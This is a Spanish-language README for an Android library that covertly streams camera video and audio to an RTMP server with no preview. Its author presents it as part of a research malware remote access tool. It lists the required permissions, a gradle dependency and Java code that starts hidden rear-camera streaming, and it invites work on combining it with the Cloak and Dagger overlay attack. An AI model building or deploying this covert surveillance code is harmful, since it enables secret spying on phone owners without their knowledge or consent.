
Live Hidden Camera es una biblioteca que graba video y audio en vivo desde un dispositivo Android sin mostrar una vista previa.
Live Hidden Camera (LHC) es una biblioteca que graba video y audio en vivo desde un dispositivo Android sin mostrar una vista previa.

Estoy trabajando en un malware Android basado en investigación y decidí crear una RAT (Herramienta de Administración Remota) multifunción. Estaba trabajando en transmisiones en vivo y encontré algunos proyectos de código abierto basados en RTMP, incluyendo:
los cuales todos tienen algún tipo de problema basado en los requisitos de una RAT. Pero el común era que todos necesitan una actividad que incluya un SurfaceView.
Por lo tanto, comencé a buscar. Finalmente, pude crear Live Hidden Camera que solo necesita un CONTEXT para transmitir video en vivo, combinando estos dos proyectos:
He creado una biblioteca para hacerla más utilizable. El único requisito es agregar la biblioteca a tu proyecto y pasarle la URL RTMP.
Además, debes tener en cuenta:
Manifest.xml:<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
El uso de la biblioteca es sencillo. Simplemente agrega la siguiente biblioteca al archivo gradle.build de tu proyecto.
compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'
Manifest.Antes de usar la biblioteca, debes haber implementado un servidor Rtmp. He usado Ant Media Server. Hay una buena guía sobre la instalación de Ant Media Server en ESTE ENLACE.
Después de iniciar el servidor Rtmp de Ant Media, deberías ver algo como esto:

Después de agregar la biblioteca a tu proyecto, sigue los siguientes pasos:
Crea una clase que implemente: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener
Crea dos campos (uno para publicar y uno para vista previa):
private SrsPublisher mPublisher;
private SrsCameraView mCameraView;
Implementa una función para iniciar la Cámara Oculta en Vivo:
private void initHiddenCam(String rtmpURL) {
HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {
@Override
public void onPermissionNotGrantedException(Exception ex) {
Log.d("HCL", "Ask user to grant permission.");
Log.e("HCL", ex.getMessage());
}
});
//start config
CameraConfig cameraConfig = new CameraConfig()
.getBuilder(MainActivity.this.getApplicationContext())
.setCameraFacing(CameraFacing.REAR_FACING_CAMERA)
.build();
mCameraView = l.initHiddenLayout(cameraConfig);
mPublisher = new SrsPublisher(mCameraView);
mPublisher.setEncodeHandler(new SrsEncodeHandler(this));
mPublisher.setRtmpHandler(new RtmpHandler(this));
mPublisher.setRecordHandler(new SrsRecordHandler(this));
mPublisher.setPreviewResolution(640, 360);
mPublisher.setOutputResolution(640, 360);
mPublisher.setVideoHDMode();
mPublisher.startPublish(rtmpURL);
mPublisher.startCamera();
}
El principal problema que enfrento actualmente es la pantalla verde. He descrito el error en StackOverflow en https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video
Si tienes alguna sugerencia sobre este problema, o cualquier otra idea, no dudes en contactarme.
Debido a la superposición de la Cámara Oculta en Vivo, no se puede hacer clic en otras aplicaciones. Los clics solo son aceptados por la LHC. Consulta la sección TODO.
Hay un proyecto llamado Cloak and Dagger que descubrió una capacidad muy peligrosa en Android. Cualquier contribución en el uso de Cloak and Dagger en LHC es bienvenida.
Consulta Cloak and Dagger aquí:
Puedes donar a este proyecto usando mi dirección de BitCoin en:
BitCoin:
1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS
Puedes contactarme desde mi sitio web: https://mstajbakhsh.ir/